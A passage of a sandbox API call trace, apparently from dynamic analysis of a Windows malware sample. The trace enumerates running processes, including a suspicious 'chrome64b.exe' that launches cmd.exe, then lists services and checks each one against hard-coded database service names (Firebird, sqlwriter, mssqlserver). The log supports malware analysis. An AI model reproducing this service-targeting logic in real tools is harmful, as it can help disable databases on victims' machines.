(lpString="svchost.exe") returned 11 [0310.505] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0310.506] lstrlenW (lpString="svchost.exe") returned 11 [0310.506] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0310.506] lstrlenW (lpString="svchost.exe") returned 11 [0310.507] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0310.507] lstrlenW (lpString="svchost.exe") returned 11 [0310.507] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0310.508] lstrlenW (lpString="svchost.exe") returned 11 [0310.508] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0310.509] lstrlenW (lpString="svchost.exe") returned 11 [0310.509] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0310.510] lstrlenW (lpString="svchost.exe") returned 11 [0310.510] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0310.511] lstrlenW (lpString="svchost.exe") returned 11 [0310.511] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0310.512] lstrlenW (lpString="spoolsv.exe") returned 11 [0310.512] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0310.512] lstrlenW (lpString="svchost.exe") returned 11 [0310.512] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0310.513] lstrlenW (lpString="audiodg.exe") returned 11 [0310.513] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0310.514] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0310.514] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0310.515] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0310.515] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0310.516] lstrlenW (lpString="Memory Compression") returned 18 [0310.516] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0310.517] lstrlenW (lpString="svchost.exe") returned 11 [0310.517] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0310.518] lstrlenW (lpString="sihost.exe") returned 10 [0310.518] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0310.518] lstrlenW (lpString="taskhostw.exe") returned 13 [0310.518] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0310.519] lstrlenW (lpString="msoia.exe") returned 9 [0310.519] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0310.520] lstrlenW (lpString="explorer.exe") returned 12 [0310.520] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0310.933] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0310.933] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0310.934] lstrlenW (lpString="SearchUI.exe") returned 12 [0310.934] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0310.935] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0310.935] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0310.936] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0310.936] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0310.937] lstrlenW (lpString="chrome64b.exe") returned 13 [0310.937] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xf58, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0310.938] lstrlenW (lpString="cmd.exe") returned 7 [0310.938] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0310.938] lstrlenW (lpString="conhost.exe") returned 11 [0310.939] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xf64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0310.939] lstrlenW (lpString="mode.com") returned 8 [0310.939] Process32NextW (in: hSnapshot=0x384, lppe=0x253fd2c | out: lppe=0x253fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xf64, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 0 [0310.940] CloseHandle (hObject=0x384) returned 1 [0310.940] Sleep (dwMilliseconds=0x1f4) [0311.990] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x75a0a8 [0312.132] EnumServicesStatusExW (in: hSCManager=0x75a0a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0) returned 0 [0312.133] GetLastError () returned 0xea [0312.133] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0x1cb6) returned 0x3d0c568 [0312.133] EnumServicesStatusExW (in: hSCManager=0x75a0a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3d0c568, cbBufSize=0x1cb6, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3d0c568, pcbBytesNeeded=0x253ff3c, lpServicesReturned=0x253ff54, lpResumeHandle=0x0) returned 1 [0312.134] CloseServiceHandle (hSCObject=0x75a0a8) returned 1 [0312.134] lstrlenW (lpString="Appinfo") returned 7 [0312.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0312.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0312.134] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0312.134] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0312.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0312.134] lstrlenW (lpString="AppXSvc") returned 7 [0312.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0312.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0312.134] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0312.135] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0312.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0312.135] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0312.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0312.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0312.135] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0312.135] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0312.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0312.135] lstrlenW (lpString="Audiosrv") returned 8 [0312.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0312.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0312.135] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0312.135] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0312.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0312.135] lstrlenW (lpString="BFE") returned 3 [0312.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0312.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0312.135] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0312.135] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0312.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0312.135] lstrlenW (lpString="BITS") returned 4 [0312.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0312.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0312.135] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0312.135] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0312.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0312.135] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0312.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0312.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0312.136] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0312.136] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0312.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0312.136] lstrlenW (lpString="CDPSvc") returned 6 [0312.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0312.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0312.136] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0312.136] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0312.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0312.136] lstrlenW (lpString="ClickToRunSvc") returned 13 [0312.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0312.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0312.136] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0312.136] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0312.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0312.136] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0312.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0312.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0312.136] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0312.136] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0312.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0312.136] lstrlenW (lpString="CryptSvc") returned 8 [0312.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0312.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0312.137] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0312.137] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0312.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0312.137] lstrlenW (lpString="DcomLaunch") returned 10 [0312.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0312.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0312.137] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0312.137] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0312.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0312.137] lstrlenW (lpString="DeviceAssociationService") returned 24 [0312.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0312.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0312.137] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0312.137] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0312.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0312.137] lstrlenW (lpString="Dhcp") returned 4 [0312.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0312.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0312.137] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0312.137] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0312.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0312.137] lstrlenW (lpString="Dnscache") returned 8 [0312.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0312.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0312.137] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0312.137] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0312.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0312.138] lstrlenW (lpString="DPS") returned 3 [0312.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0312.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0312.138] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0312.138] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0312.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0312.138] lstrlenW (lpString="DusmSvc") returned 7 [0312.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0312.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0312.138] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0312.138] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0312.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0312.138] lstrlenW (lpString="EventLog") returned 8 [0312.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0312.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0312.138] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0312.138] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0312.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0312.138] lstrlenW (lpString="EventSystem") returned 11 [0312.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0312.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0312.138] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0312.138] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0312.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0312.138] lstrlenW (lpString="FontCache") returned 9 [0312.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0312.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0312.139] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0312.139] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0312.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0312.139] lstrlenW (lpString="gpsvc") returned 5 [0312.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0312.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0312.139] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0312.139] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0312.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0312.139] lstrlenW (lpString="iphlpsvc") returned 8 [0312.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0312.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0312.139] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0312.139] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0312.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0312.139] lstrlenW (lpString="KeyIso") returned 6 [0312.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0312.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0312.139] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0312.139] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0312.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0312.139] lstrlenW (lpString="LanmanServer") returned 12 [0312.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0312.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0312.139] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0312.139] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0312.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0312.140] lstrlenW (lpString="LanmanWorkstation") returned 17 [0312.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0312.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0312.140] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0312.140] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0312.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0312.140] lstrlenW (lpString="lfsvc") returned 5 [0312.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0312.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0312.140] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0312.140] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0312.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0312.140] lstrlenW (lpString="lmhosts") returned 7 [0312.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0312.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0312.140] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0312.140] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0312.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0312.140] lstrlenW (lpString="LSM") returned 3 [0312.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0312.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0312.140] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0312.140] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0312.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0312.140] lstrlenW (lpString="MpsSvc") returned 6 [0312.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0312.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0312.140] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0312.141] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0312.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0312.141] lstrlenW (lpString="NcbService") returned 10 [0312.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0312.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0312.141] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0312.141] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0312.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0312.141] lstrlenW (lpString="netprofm") returned 8 [0312.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0312.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0312.141] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0312.141] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0312.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0312.141] lstrlenW (lpString="NgcSvc") returned 6 [0312.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0312.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0312.141] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0312.141] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0312.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0312.141] lstrlenW (lpString="NlaSvc") returned 6 [0312.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", 